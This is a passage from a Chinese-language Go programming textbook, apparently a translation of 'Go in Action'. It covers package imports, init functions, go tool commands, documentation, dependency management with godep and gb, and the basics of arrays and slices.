例如: import "github.com/spf13/viper" 用导入路径编译程序时,go build 命令会使用 GOPATH 的设置,在磁盘上搜索这个包。事实上, 这个导入路径代表一个 URL,指向 GitHub 上的代码库。如果路径包含 URL,可以使用 Go 工具链从 DVCS 获取包,并把包的源代码保存在 GOPATH 指向的路径里与 URL 匹配的目录里。这个获取过程 使用 go get 命令完成。go get 将获取任意指定的 URL 的包,或者一个已经导入的包所依赖的其 他包。由于 go get 的这种递归特性,这个命令会扫描某个包的源码树,获取能找到的所有依赖包。 3.2.2 命名导入 如果要导入的多个包具有相同的名字,会发生什么?例如,既需要 network/convert 包 来转换从网络读取的数据,又需要 file/convert 包来转换从文本文件读取的数据时,就会同 时导入两个名叫 convert 的包。这种情况下,重名的包可以通过命名导入来导入。命名导入是 指,在 import 语句给出的包路径的左侧定义一个名字,将导入的包命名为新名字。 例如,若用户已经使用了标准库里的 fmt 包,现在要导入自己项目里名叫 fmt 的包,就可 以通过代码清单 3-4 所示的命名导入方式,在导入时重新命名自己的包。 代码清单 3-4 重命名导入 01 package main 02 03 import ( 04 "fmt" 05 myfmt "mylib/fmt" 06 ) 07 08 func main() { 这就是标准库源 代码所在的位置。 3.3 函数 init 41 09 fmt.Println("Standard Library") 10 myfmt.Println("mylib/fmt") 11 } 当你导入了一个不在代码里使用的包时,Go 编译器会编译失败,并输出一个错误。Go 开发 团队认为,这个特性可以防止导入了未被使用的包,避免代码变得臃肿。虽然这个特性会让人觉 得很烦,但 Go 开发团队仍然花了很大的力气说服自己,决定加入这个特性,用来避免其他编程 语言里常常遇到的一些问题,如得到一个塞满未使用库的超大可执行文件。很多语言在这种情况 会使用警告做提示,而 Go 开发团队认为,与其让编译器告警,不如直接失败更有意义。每个编 译过大型 C 程序的人都知道,在浩如烟海的编译器警告里找到一条有用的信息是多么困难的一件 事。这种情况下编译失败会更加明确。 有时,用户可能需要导入一个包,但是不需要引用这个包的标识符。在这种情况,可以使用 空白标识符_来重命名这个导入。我们下节会讲到这个特性的用法。 空白标识符 下划线字符(_)在 Go 语言里称为空白标识符,有很多用法。这个标识符用来抛弃不 想继续使用的值,如给导入的包赋予一个空名字,或者忽略函数返回的你不感兴趣的值。 3.3 函数 init 每个包可以包含任意多个 init 函数,这些函数都会在程序执行开始的时候被调用。所有被 编译器发现的 init 函数都会安排在 main 函数之前执行。init 函数用在设置包、初始化变量 或者其他要在程序运行前优先完成的引导工作。 以数据库驱动为例,database 下的驱动在启动时执行 init 函数会将自身注册到 sql 包 里,因为 sql 包在编译时并不知道这些驱动的存在,等启动之后 sql 才能调用这些驱动。让我 们看看这个过程中 init 函数做了什么,如代码清单 3-5 所示。 代码清单 3-5 init 函数的用法 01 package postgres 02 03 import ( 04 "database/sql" 05 ) 06 07 func init() { 08 sql.Register("postgres", new(PostgresDriver)) 09 } 这段示例代码包含在 PostgreSQL 数据库的驱动里。如果程序导入了这个包,就会调用 init 函数,促使 PostgreSQL 的驱动最终注册到 Go 的 sql 包里,成为一个可用的驱动。 在使用这个新的数据库驱动写程序时,我们使用空白标识符来导入包,以便新的驱动会包含 到 sql 包。如前所述,不能导入不使用的包,为此使用空白标识符重命名这个导入可以让 init 函数发现并被调度运行,让编译器不会因为包未被使用而产生错误。 创建一个 postgres 驱动的 实例。这里为了展现 init 的 作用,没有展现其定义细节。 现在我们可以调用 sql.Open 方法来使用这个驱动,如代码清单 3-6 所示。 代码清单 3-6 导入时使用空白标识符作为包的别名 01 package main 02 03 import ( 04 "database/sql" 05 06 _ "github.com/goinaction/code/chapter3/dbdriver/postgres" 07 ) 08 09 func main() { 10 sql.Open("postgres", "mydb") 11 } 3.4 使用 Go 的工具 在前几章里,我们已经使用过了 go 这个工具,但我们还没有探讨这个工具都能做哪些事情。 让我们进一步深入了解这个短小的命令,看看都有哪些强大的能力。在命令行提示符下,不带参 数直接键入 go 这个命令: $ go go 这个工具提供了很多功能,如图 3-1 所示。 图 3-1 go 命令输出的帮助文本 使用空白标识符导入 包,避免编译错误。 调用 sql 包提供的 Open 方法。该方法能 工作的关键在于 postgres 驱动通过自 己的 init 函数将自身注册到了 sql 包。 通过输出的列表可以看到,这个命令包含一个编译器,这个编译器可以通过 build 命令启 动。正如预料的那样,build 和 clean 命令会执行编译和清理的工作。现在使用代码清单 3-2 里的源代码,尝试执行这些命令: go build hello.go 当用户将代码签入源码库里的时候,开发人员可能并不想签入编译生成的文件。可以用 clean 命令解决这个问题: go clean hello.go 调用 clean 后会删除编译生成的可执行文件。让我们看看 go 工具的其他一些特性,以 及使用这些命令时可以节省时间的方法。接下来的例子中,我们会使用代码清单 3-7 中的样 例代码。 代码清单 3-7 使用 io 包的工作 01 package main 02 03 import ( 04 "fmt" 05 "io/ioutil" 06 "os" 07 08 "github.com/goinaction/code/chapter3/words" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 filename := os.Args[1] 14 15 contents, err := ioutil.ReadFile(filename) 16 if err != nil { 17 fmt.Println(err) 18 return 19 } 20 21 text := string(contents) 22 23 count := words.CountWords(text) 24 fmt.Printf("There are %d words in your text.\n", count) 25 } 如果已经下载了本书的源代码,应该可以在$GOPATH/src/github.com/goinaction/code/chapter3/words 找到这个包。确保已经有了这段代码再进行后面的内容。 大部分 Go 工具的命令都会接受一个包名作为参数。回顾一下已经用过的命令,会想起 build 命令可以简写。在不包含文件名时,go 工具会默认使用当前目录来编译。 go build 因为构建包是很常用的动作,所以也可以直接指定包: go build github.com/goinaction/code/chapter3/wordcount 也可以在指定包的时候使用通配符。3 个点表示匹配所有的字符串。例如,下面的命令会编译 chapter3 目录下的所有包: go build github.com/goinaction/code/chapter3/... 除了指定包,大部分 Go 命令使用短路径作为参数。例如,下面两条命令的效果相同: go build wordcount.go go build . 要执行程序,需要首先编译,然后执行编译创建的 wordcount 或者 wordcount.exe 程 序。不过这里有一个命令可以在一次调用中完成这两个操作: go run wordcount.go go run 命令会先构建 wordcount.go 里包含的程序,然后执行构建后的程序。这样可以节省 好多录入工作量。 做开发会经常使用 go build 和 go run 命令。让我们看另外几个可用的命令,以及这些 命令可以做什么。 3.5 进一步介绍 Go 开发工具 我们已经学到如何用 go 这个通用工具进行编译和执行。但这个好用的工具还有很多其他没 有介绍的诀窍。 3.5.1 go vet 这个命令不会帮开发人员写代码,但如果开发人员已经写了一些代码,vet 命令会帮开发人 员检测代码的常见错误。让我们看看 vet 捕获哪些类型的错误。 Printf 类函数调用时,类型匹配错误的参数。 定义常用的方法时,方法签名的错误。 错误的结构标签。 没有指定字段名的结构字面量。 让我们看看许多 Go 开发新手经常犯的一个错误。fmt.Printf 函数常用来产生格式化输出, 不过这个函数要求开发人员记住所有不同的格式化说明符。代码清单 3-8 中给出的就是一个例子。 代码清单 3-8 使用 go vet 01 package main 02 03 import "fmt" 04 05 func main() { 06 fmt.Printf("The quick brown fox jumped over lazy dogs", 3.14) 07 } 这个程序要输出一个浮点数 3.14,但是在格式化字符串里并没有对应的格式化参数。如果对 这段代码执行 go vet,会得到如下消息: go vet main.go main.go:6: no formatting directive in Printf call go vet 工具不能让开发者避免严重的逻辑错误,或者避免编写充满小错的代码。不过,正 像刚才的实例中展示的那样,这个工具可以很好地捕获一部分常见错误。每次对代码先执行 go vet 再将其签入源代码库是一个很好的习惯。 3.5.2 Go 代码格式化 fmt 是 Go 语言社区很喜欢的一个命令。fmt 工具会将开发人员的代码布局成和 Go 源代码 类似的风格,不用再为了大括号是不是要放到行尾,或者用 tab(制表符)还是空格来做缩进而 争论不休。使用 go fmt 后面跟文件名或者包名,就可以调用这个代码格式化工具。fmt 命令会 自动格式化开发人员指定的源代码文件并保存。下面是一个代码执行 go fmt 前和执行 go fmt 后几行代码的对比: if err != nil { return err } 在对这段代码执行 go fmt 后,会得到: if err != nil { return err } 很多 Go 开发人员会配置他们的开发环境,在保存文件或者提交到代码库前执行 go fmt。 如果读者喜欢这个命令,也可以这样做。 3.5.3 Go 语言的文档 还有另外一个工具能让 Go 开发过程变简单。Go 语言有两种方法为开发者生成文档。如果 开发人员使用命令行提示符工作,可以在终端上直接使用 go doc 命令来打印文档。无需离开终 端,即可快速浏览命令或者包的帮助。不过,如果开发人员认为一个浏览器界面会更有效率,可 以使用 godoc 程序来启动一个 Web 服务器,通过点击的方式来查看 Go 语言的包的文档。Web 服务器 godoc 能让开发人员以网页的方式浏览自己的系统里的所有 Go 语言源代码的文档。 1.从命令行获取文档 对那种总会打开一个终端和一个文本编辑器(或者在终端内打开文本编辑器)的开发人员来 说,go doc 是很好的选择。假设要用 Go 语言第一次开发读取 UNIX tar 文件的应用程序,想 要看看 archive/tar 包的相关文档,就可以输入: go doc tar 执行这个命令会直接在终端产生如下输出: PACKAGE DOCUMENTATION package tar // import "archive/tar" Package tar implements access to tar archives.It aims to cover most of the variations, including those produced by GNU and BSD tars. References: http://www.freebsd.org/cgi/man.cgi?query=tar&sektion=5 http://www.gnu.org/software/tar/manual/html_node/Standard.html http://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html var ErrWriteTooLong = errors.New("archive/tar: write too long") ... var ErrHeader = errors.New("archive/tar: invalid tar header") func FileInfoHeader(fi os.FileInfo, link string) (*Header, error) func NewReader(r io.Reader) *Reader func NewWriter(w io.Writer) *Writer type Header struct { ...} type Reader struct { ...} type Writer struct { ...} 开发人员无需离开终端即可直接翻看文档,找到自己需要的部分。 2.浏览文档 Go 语言的文档也提供了浏览器版本。有时候,通过跳转到文档,查阅相关的细节,能更容 易理解整个包或者某个函数。在这种情况下,会想使用 godoc 作为 Web 服务器。如果想通过 Web 浏览器查看可以点击跳转的文档,下面就是得到这种文档的好方式。 开发人员启动自己的文档服务器,只需要在终端会话中输入如下命令: godoc -http=:6060 这个命令通知 godoc 在端口 6060 启动 Web 服务器。如果浏览器已经打开,导航到 http://localhost:6060 可以看到一个页面,包含所有 Go 标准库和你的 GOPATH 下的 Go 源代码的文档。 如果图 3-2 显示的文档对开发人员来说很熟悉,并不奇怪,因为 Go 官网就是通过一个略 微修改过的 godoc 来提供文档服务的。要进入某个特定包的文档,只需要点击页面顶端的 Packages。 Go 文档工具最棒的地方在于,它也支持开发人员自己写的代码。如果开发人员遵从一个简 单的规则来写代码,这些代码就会自动包含在 godoc 生成的文档里。 为了在 godoc 生成的文档里包含自己的代码文档,开发人员需要用下面的规则来写代码和 注释。我们不会在本章介绍所有的规则,只会提一些重要的规则。 3.5 进一步介绍 Go 开发工具 47 图 3-2 本地 Go 文档 用户需要在标识符之前,把自己想要的文档作为注释加入到代码中。这个规则对包、函数、 类型和全局变量都适用。注释可以以双斜线开头,也可以用斜线和星号风格。 // Retrieve 连接到配置库,收集各种链接设置、用户名和密码。这个函数在成功时 // 返回 config 结构,否则返回一个错误。 func Retrieve() (config, error) { // ...省略 } 在这个例子里,我们展示了在 Go 语言里为一个函数写文档的惯用方法。函数的文档直接写 在函数声明之前,使用人类可读的句子编写。如果想给包写一段文字量比较大的文档,可以在工 程里包含一个叫作 doc.go 的文件,使用同样的包名,并把包的介绍使用注释加在包名声明之前。 /* 包 usb 提供了用于调用 USB 设备的类型和函数。想要与 USB 设备创建一个新链接,使用 NewConnection ... */ package usb 这段关于包的文档会显示在所有类型和函数文档之前。这个例子也展示了如何使用斜线和星 号做注释。可以在 Google 上搜索 golang documentation 来查找更多关于如何给代码创建一个好文 档的内容。 3.6 与其他 Go 开发者合作 现代开发者不会一个人单打独斗,而 Go 工具也认可这个趋势,并为合作提供了支持。多亏 了 go 工具链,包的概念没有被限制在本地开发环境中,而是做了扩展,从而支持现代合作方式。 让我们看看在分布式开发环境里,想要良好合作,需要遵守的一些惯例。 以分享为目的创建代码库 开发人员一旦写了些非常棒的 Go 代码,就会很想把这些代码与 Go 社区的其他人分享。这 其实很容易,只需要执行下面的步骤就可以。 1.包应该在代码库的根目录中 使用 go get 的时候,开发人员指定了要导入包的全路径。这意味着在创建想要分享的代码 库的时候,包名应该就是代码库的名字,而且包的源代码应该位于代码库目录结构的根目录。 Go 语言新手常犯的一个错误是,在公用代码库里创建一个名为 code 或者 src 的目录。如 果这么做,会让导入公用库的语句变得很长。为了避免过长的语句,只需要把包的源文件放在公 用代码库的根目录就好。 2.包可以非常小 与其他语言相比,Go 语言的包一般相对较小。不要在意包只支持几个 API,或者只完成一 项任务。在 Go 语言里,这样的包很常见,而且很受欢迎。 3.对代码执行 go fmt 和其他开源代码库一样,人们在试用代码前会通过源代码来判断代码的质量。开发人员需要 在签入代码前执行 go fmt,这样能让自己的代码可读性更好,而且不会由于一些字符的干扰(如 制表符),在不同人的计算机上代码显示的效果不一样。 4.给代码写文档 Go 开发者用 godoc 来阅读文档,并且会用 http://godoc.org 这个网站来阅读开源包的文档。如果 按照 go doc 的最佳实践来给代码写文档,包的文档在本地和线上都会很好看,更容易被别人发现。 3.7 依赖管理 从 Go 1.0 发布那天起,社区做了很多努力,提供各种 Go 工具,以便开发人员的工作更轻松。 有很多工具专注在如何管理包的依赖关系。现在最流行的依赖管理工具是 Keith Rarik 写的 godep、 Daniel Theophanes 写的 vender 和 Gustavo Niemeyer 开发的 gopkg.in 工具。gopkg.in 能帮助开发人 员发布自己的包的多个版本。 作为对社区的回应,Go 语言在 1.5 版本开始试验性提供一组新的构建选项和功能,来为依 赖管理提供更好的工具支持。尽管我们还需要等一段时间才能确认这些新特性是否能达成目的, 但毕竟现在已经有一些工具以可重复使用的方式提供了管理、构建和测试 Go 代码的能力。 3.7.1 第三方依赖 像 godep 和 vender 这种社区工具已经使用第三方(verdoring)导入路径重写这种特性解决了 依赖问题。其思想是把所有的依赖包复制到工程代码库中的目录里,然后使用工程内部的依赖包 所在目录来重写所有的导入路径。 代码清单 3-9 展示的是使用 godep 来管理工程里第三方依赖时的一个典型的源代码树。 代码清单 3-9 使用 godep 的工程 $GOPATH/src/github.com/ardanstudios/myproject |-- Godeps | |-- Godeps.json | |-- Readme | |-- _workspace | |-- src | |-- bitbucket.org | |-- ww | | |-- goautoneg | | |-- Makefile | | |-- README.txt | | |-- autoneg.go | | |-- autoneg_test.go | |-- github.com | |-- beorn7 | |-- perks | |-- README.md | |-- quantile | |-- bench_test.go | |-- example_test.go | |-- exampledata.txt | |-- stream.go | |-- examples |-- model |-- README.md |-- main.go 可以看到 godep 创建了一个叫作 Godeps 的目录。由这个工具管理的依赖的源代码被放在 一个叫作_workspace/src 的目录里。 接下来,如果看一下在 main.go 里声明这些依赖的 import 语句(如代码清单 3-9 和代码清 单 3-10 所示),就能发现需要改动的地方。 代码清单 3-10 在路径重写之前 01 package main 02 03 import ( 04 "bitbucket.org/ww/goautoneg" 05 "github.com/beorn7/perks" 06 ) 代码清单 3-11 在路径重写之后 01 package main 02 03 import ( 04 "github.ardanstudios.com/myproject/Godeps/_workspace/src/ bitbucket.org/ww/goautoneg" 05 "github.ardanstudios.com/myproject/Godeps/_workspace/src/ github.com/beorn7/perks" 06 ) 在路径重写之前,import 语句使用的是包的正常路径。包对应的代码存放在 GOPATH 所指 定的磁盘目录里。在依赖管理之后,导入路径需要重写成工程内部依赖包的路径。可以看到这些 导入路径非常长,不易于使用。 引入依赖管理将所有构建时依赖的源代码都导入到一个单独的工程代码库里,可以更容易地重 新构建工程。使用导入路径重写管理依赖包的另外一个好处是这个工程依旧支持通过 go get 获取 代码库。当获取这个工程的代码库时,go get 可以找到每个包,并将其保存到工程里正确的目录中。 3.7.2 对 gb 的介绍 gb 是一个由 Go 社区成员开发的全新的构建工具。gb 意识到,不一定要包装 Go 本身的工具, 也可以使用其他方法来解决可重复构建的问题。 gb 背后的原理源自理解到 Go 语言的 import 语句并没有提供可重复构建的能力。import 语句可以驱动 go get,但是 import 本身并没有包含足够的信息来决定到底要获取包的哪个修 改的版本。go get 无法定位待获取代码的问题,导致 Go 工具在解决重复构建时,不得不使用 复杂且难看的方法。我们已经看到过使用 godep 时超长的导入路径是多么难看。 gb 的创建源于上述理解。gb 既不包装 Go 工具链,也不使用 GOPATH。gb 基于工程将 Go 工 具链工作空间的元信息做替换。这种依赖管理的方法不需要重写工程内代码的导入路径。而且导 入路径依旧通过 go get 和 GOPATH 工作空间来管理。 让我们看看上一节的工程如何转换为 gb 工程,如代码清单 3-12 所示。 代码清单 3-12 gb 工程的例子 /home/bill/devel/myproject ($PROJECT) |-- src | |-- cmd | | |-- myproject | | | |-- main.go | |-- examples | |-- model | |-- README.md |-- vendor |-- src |-- bitbucket.org | |-- ww | |-- goautoneg | |-- Makefile | |-- README.txt | |-- autoneg.go | |-- autoneg_test.go |-- github.com |-- beorn7 |-- perks |-- README.md |-- quantile |-- bench_test.go |-- example_test.go |-- exampledata.txt |-- stream.go 一个 gb 工程就是磁盘上一个包含 src/子目录的目录。符号$PROJECT 导入了工程的根目 录中,其下有一个 src/的子目录中。这个符号只是一个简写,用来描述工程在磁盘上的位置。 $PROJECT 不是必须设置的环境变量。事实上,gb 根本不需要设置任何环境变量。 gb 工程会区分开发人员写的代码和开发人员需要依赖的代码。开发人员的代码所依赖的代 码被称作第三方代码(vendored code)。gb 工程会明确区分开发人员的代码和第三方代码,如代 码清单 3-13 和代码清单 3-14 所示。 代码清单 3-13 工程中存放开发人员写的代码的位置 $PROJECT/src/ 代码清单 3-14 存放第三方代码的位置 $PROJECT/vendor/src/ gb 一个最好的特点是,不需要重写导入路径。可以看看这个工程里的 main.go 文件的 import 语句——没有任何需要为导入第三方库而做的修改,如代码清单 3-15 所示。 代码清单 3-15 gb 工程的导入路径 01 package main 02 03 import ( 04 "bitbucket.org/ww/goautoneg" 05 "github.com/beorn7/perks" 06 ) gb 工具首先会在$PROJECT/src/目录中查找代码,如果找不到,会在$PROJECT/vender/src/ 目录里查找。与工程相关的整个源代码都会在同一个代码库里。自己写的代码在工程目录的 src/ 目录中,第三方依赖代码在工程目录的 vender/src 子目录中。这样,不需要配合重写导入路 径也可以完成整个构建过程,同时可以把整个工程放到磁盘的任意位置。这些特点,让 gb 成为 社区里解决可重复构建的流行工具。 还需要提一点:gb 工程与 Go 官方工具链(包括 go get)并不兼容。因为 gb 不需要设置 GOPATH,而 Go 工具链无法理解 gb 工程的目录结构,所以无法用 Go 工具链构建、测试或者获 取代码。构建(如代码清单 3-16 所示)和测试 gb 工程需要先进入$PROJECT 目录,并使用 gb 工具。 代码清单 3-16 构建 gb 工程 gb build all 很多 Go 工具支持的特性,gb 都提供对应的特性。gb 还提供了插件系统,可以让社区扩展 支持的功能。其中一个插件叫作 vender。这个插件可以方便地管理$PROJECT/vender/src/ 目录里的依赖关系,而这个功能 Go 工具链至今没有提供。想了解更多 gb 的特性,可以访问这 个网站:getgb.io。 3.8 小结 在 Go 语言中包是组织代码的基本单位。 环境变量 GOPATH 决定了 Go 源代码在磁盘上被保存、编译和安装的位置。 可以为每个工程设置不同的 GOPATH,以保持源代码和依赖的隔离。 go 工具是在命令行上工作的最好工具。 开发人员可以使用 go get 来获取别人的包并将其安装到自己的 GOPATH 指定的目录。 想要为别人创建包很简单,只要把源代码放到公用代码库,并遵守一些简单规则就可以了。 Go 语言在设计时将分享代码作为语言的核心特性和驱动力。 推荐使用依赖管理工具来管理依赖。 有很多社区开发的依赖管理工具,如 godep、vender 和 gb。 第 4 章 数组、切片和映射 本章主要内容  数组的内部实现和基础功能  使用切片管理数据集合  使用映射管理键值对 很难遇到要编写一个不需要存储和读取集合数据的程序的情况。如果使用数据库或者文件, 或者访问网络,总需要一种方法来处理接收和发送的数据。Go 语言有 3 种数据结构可以让用户 管理集合数据:数组、切片和映射。这 3 种数据结构是语言核心的一部分,在标准库里被广泛使 用。一旦学会如何使用这些数据结构,用 Go 语言编写程序会变得快速、有趣且十分灵活。 4.1 数组的内部实现和基础功能 了解这些数据结构,一般会从数组开始,因为数组是切片和映射的基础数据结构。理解了数 组的工作原理,有助于理解切片和映射提供的优雅和强大的功能。 4.1.1 内部实现 在 Go 语言里,数组是一个长度固定的数据类型,用于存储一段具有相同的类型的元素的连 续块。数组存储的类型可以是内置类型,如整型或者字符串,也可以是某种结构类型。 在图 4-1 中可以看到数组的表示。灰色格子代表数组里的元素,每个元素都紧邻另一个元素。 每个元素包含相同的类型,这个例子里是整数,并且每个元素可以用一个唯一的索引(也称下标 或标号)来访问。 数组是一种非常有用的数据结构,因为其占用的内存是连续分配的。由于内存连续,CPU 能把正在使用的数据缓存更久的时间。而且内存连续很容易计算索引,可以快速迭代数组里的所 有元素。数组的类型信息可以提供每次访问一个元素时需要在内存中移动的距离。既然数组的每 个元素类型相同,又是连续分配,就可以以固定速度索引数组中的任意数据,速度非常快。 4 第 4 章 数组、切片和映射 图 4-1 数组的内部实现 4.1.2 声明和初始化 声明数组时需要指定内部存储的数据的类型,以及需要存储的元素的数量,这个数量也称为 数组的长度,如代码清单 4-1 所示。 代码清单 4-1 声明一个数组,并设置为零值 // 声明一个包含 5 个元素的整型数组 var array [5]int 一旦声明,数组里存储的数据类型和数组长度就都不能改变了。如果需要存储更多的元素, 就需要先创建一个更长的数组,再把原来数组里的值复制到新数组里。 在 Go 语言中声明变量时,总会使用对应类型的零值来对变量进行初始化。数组也不例外。 当数组初始化时,数组内每个元素都初始化为对应类型的零值。在图 4-2 里,可以看到整型数组 里的每个元素都初始化为 0,也就是整型的零值。 图 4-2 声明数组变量后数组的值 一种快速创建数组并初始化的方式是使用数组字面量。数组字面量允许声明数组里元素的数 量同时指定每个元素的值,如代码清单 4-2 所示。 代码清单 4-2 使用数组字面量声明数组 // 声明一个包含 5 个元素的整型数组 // 用具体值初始化每个元素 array := [5]int{10, 20, 30, 40, 50} 如果使用...替代数组的长度,Go 语言会根据初始化时数组元素的数量来确定该数组的长 度,如代码清单 4-3 所示。 代码清单 4-3 让 Go 自动计算声明数组的长度 // 声明一个整型数组 // 用具体值初始化每个元素 // 容量由初始化值的数量决定 array := [...]int{10, 20, 30, 40, 50} 如果知道数组的长度而是准备给每个值都指定具体值,就可以使用代码清单 4-4 所示的这种 语法。 代码清单 4-4 声明数组并指定特定元素的值 // 声明一个有 5 个元素的数组 // 用具体值初始化索引为 1 和 2 的元素 // 其余元素保持零值 array := [5]int{1: 10, 2: 20} 代码清单 4-4 中声明的数组在声明和初始化后,会和图 4-3 所展现的一样。 图 4-3 声明之后数组的值 4.1.3 使用数组 正像之前提到的,因为内存布局是连续的,所以数组是效率很高的数据结构。在访问数组里 任意元素的时候,这种高效都是数组的优势。要访问数组里某个单独元素,使用[]运算符,如 代码清单 4-5 所示。 代码清单 4-5 访问数组元素 // 声明一个包含 5 个元素的整型数组 // 用具体值初始为每个元素 array := [5]int{10, 20, 30, 40, 50} // 修改索引为 2 的元素的值 array[2] = 35 代码清单 4-5 中声明的数组的值在操作完成后,会和图 4-4 所展现的一样。 图 4-4 修改索引为 2 的值之后数组的值 可以像第 2 章一样,声明一个所有元素都是指针的数组。使用*运算符就可以访问元素指针 所指向的值,如代码清单 4-6 所示。 代码清单 4-6 访问指针数组的元素 // 声明包含 5 个元素的指向整数的数组 // 用整型指针初始化索引为 0 和 1 的数组元素 array := [5]*int{0: new(int), 1: new(int)} // 为索引为 0 和 1 的元素赋值 *array[0] = 10 *array[1] = 20 代码清单 4-6 中声明的数组的值在操作完毕后,会和图 4-5 所展现的一样。 图 4-5 指向整数的指针数组 在 Go 语言里,数组是一个值。这意味着数组可以用在赋值操作中。变量名代表整个数组, 因此,同样类型的数组可以赋值给另一个数组,如代码清单 4-7 所示。 代码清单 4-7 把同样类型的一个数组赋值给另外一个数组 // 声明第一个包含 5 个元素的字符串数组 var array1 [5]string // 声明第二个包含 5 个元素的字符串数组 // 用颜色初始化数组 array2 := [5]string{"Red", "Blue", "Green", "Yellow", "Pink"} // 把 array2 的值复制到 array1 array1 = array2 复制之后,两个数组的值完全一样,如图 4-6 所示。 图 4-6 复制之后的两个数组 数组变量的类型包括数组长度和每个元素的类型。只有这两部分都相同的数组,才是类型相 同的数组,才能互相赋值,如代码清单 4-8 所示。 代码清单 4-8 编译器会阻止类型不同的数组互相赋值 // 声明第一个包含 4 个元素的字符串数组 var array1 [4]string // 声明第二个包含 5 个元素的字符串数组 // 使用颜色初始化数组 array2 := [5]string{"Red", "Blue", "Green", "Yellow", "Pink"} // 将 array2 复制给 array1 array1 = array2 Compiler Error: cannot use array2 (type [5]string) as type [4]string in assignment 复制数组指针,只会复制指针的值,而不会复制指针所指向的值,如代码清单 4-9 所示。 代码清单 4-9 把一个指针数组赋值给另一个 // 声明第一个包含 3 个元素的指向字符串的指针数组 var array1 [3]*string // 声明第二个包含 3 个元素的指向字符串的指针数组 // 使用字符串指针初始化这个数组 array2 := [3]*string{new(string), new(string), new(string)} // 使用颜色为每个元素赋值 *array2[0] = "Red" *array2[1] = "Blue" *array2[2] = "Green" // 将 array2 复制给 array1 array1 = array2 复制之后,两个数组指向同一组字符串,如图 4-7 所示。 图 4-7 两组指向同样字符串的数组 4.1.4 多维数组 数组本身只有一个维度,不过可以组合多个数组创建多维数组。多维数组很容易管理具有父 子关系的数据或者与坐标系相关联的数据。声明二维数组的示例如代码清单 4-10 所示。 代码清单 4-10 声明二维数组 // 声明一个二维整型数组,两个维度分别存储 4 个元素和 2 个元素 var array [4][2]int // 使用数组字面量来声明并初始化一个二维整型数组 array := [4][2]int{{10, 11}, {20, 21}, {30, 31}, {40, 41}} // 声明并初始化外层数组中索引为 1 个和 3 的元素 array := [4][2]int{1: {20, 21}, 3: {40, 41}} // 声明并初始化外层数组和内层数组的单个元素 array := [4][2]int{1: {0: 20}, 3: {1: 41}} 图 4-8 展示了代码清单 4-10 中声明的二维数组在每次声明并初始化后包含的值。 图 4-8 二维数组及其外层数组和内层数组的值 为了访问单个元素,需要反复组合使用[]运算符,如代码清单 4-11 所示。 代码清单 4-11 访问二维数组的元素 // 声明一个 2×2 的二维整型数组 var array [2][2]int // 设置每个元素的整型值 array[0][0] = 10 array[0][1] = 20 array[1][0] = 30 array[1][1] = 40 只要类型一致,就可以将多维数组互相赋值,如代码清单 4-12 所示。多维数组的类型包括每 一维度的长度以及最终存储在元素中的数据的类型。 代码清单 4-12 同样类型的多维数组赋值 // 声明两个不同的二维整型数组 var array1 [2][2]int var array2 [2][2]int // 为每个元素赋值 array2[0][0] = 10 array2[0][1] = 20 array2[1][0] = 30 array2[1][1] = 40 // 将 array2 的值复制给 array1 array1 = array2 因为每个数组都是一个值,所以可以独立复制某个维度,如代码清单 4-13 所示。 代码清单 4-13 使用索引为多维数组赋值 // 将 array1 的索引为 1 的维度复制到一个同类型的新数组里 var array3 [2]int = array1[1] // 将外层数组的索引为 1、内层数组的索引为 0 的整型值复制到新的整型变量里 var value int = array1[1][0] 4.1.5 在函数间传递数组 根据内存和性能来看,在函数间传递数组是一个开销很大的操作。在函数之间传递变量时, 总是以值的方式传递的。如果这个变量是一个数组,意味着整个数组,不管有多长,都会完整复 制,并传递给函数。 为了考察这个操作,我们来创建一个包含 100 万个 int 类型元素的数组。在 64 位架构上, 这将需要 800 万字节,即 8 MB 的内存。如果声明了这种大小的数组,并将其传递给函数,会发 生什么呢?如代码清单 4-14 所示。 代码清单 4-14 使用值传递,在函数间传递大数组 // 声明一个需要 8 MB 的数组 var array [1e6]int // 将数组传递给函数 foo foo(array) // 函数 foo 接受一个 100 万个整型值的数组 func foo(array [1e6]int) { ... } 每次函数 foo 被调用时,必须在栈上分配 8 MB 的内存。之后,整个数组的值(8 MB 的内 存)被复制到刚分配的内存里。虽然 Go 语言自己会处理这个复制操作,不过还有一种更好且更 有效的方法来处理这个操作。可以只传入指向数组的指针,这样只需要复制 8 字节的数据而不是 8 MB 的内存数据到栈上,如代码清单 4-15 所示。 代码清单 4-15 使用指针在函数间传递大数组 // 分配一个需要 8 MB 的数组 var array [1e6]int // 将数组的地址传递给函数 foo foo(&array) // 函数 foo 接受一个指向 100 万个整型值的数组的指针 func foo(array *[1e6]int) { ... } 这次函数 foo 接受一个指向 100 万个整型值的数组的指针。现在将数组的地址传入函数, 只需要在栈上分配 8 字节的内存给指针就可以。 这个操作会更有效地利用内存,性能也更好。不过要意识到,因为现在传递的是指针, 所以如果改变指针指向的值,会改变共享的内存。如你所见,使用切片能更好地处理这类共 享问题。 4.2 切片的内部实现和基础功能 切片是一种数据结构,这种数据结构便于使用和管理数据集合。切片是围绕动态数组的概念 构建的,可以按需自动增长和缩小。切片的动态增长是通过内置函数 append 来实现的。这个函 数可以快速且高效地增长切片。还可以通过对切片再次切片来缩小一个切片的大小。因为切片的 底层内存也是在连续块中分配的,所以切片还能获得索引、迭代以及为垃圾回收优化的好处。 4.2.1 内部实现 切片是一个很小的对象,对底层数组进行了抽象,并提供相关的操作方法。切片有 3 个字段 的数据结构,这些数据结构包含 Go 语言需要操作底层数组的元数据(见图 4-9)。 这 3 个字段分别是指向底层数组的指针、切片访问的元素的个数(即长度)和切片允许增长 到的元素个数(即容量)。后面会进一步讲解长度和容量的区别。 图 4-9 切片内部实现:底层数组 4.2.2 创建和初始化 Go 语言中有几种方法可以创建和初始化切片。是否能提前知道切片需要的容量通常会决定 要如何创建切片。 1.make 和切片字面量 一种创建切片的方法是使用内置的 make 函数。当使用 make 时,需要传入一个参数,指定 切片的长度,如代码清单 4-16 所示。 代码清单 4-16 使用长度声明一个字符串切片 // 创建一个字符串切片 // 其长度和容量都是 5 个元素 slice := make([]string, 5) 如果只指定长度,那么切片的容量和长度相等。也可以分别指定长度和容量,如代码清单 4-17 所示。 代码清单 4-17 使用长度和容量声明整型切片 // 创建一个整型切片 // 其长度为 3 个元素,容量为 5 个元素 slice := make([]int, 3, 5) 分别指定长度和容量时,创建的切片,底层数组的长度是指定的容量,但是初始化后并不能 访问所有的数组元素。图 4-9 描述了代码清单 4-17 里声明的整型切片在初始化并存入一些值后的 样子。 代码清单 4-17 中的切片可以访问 3 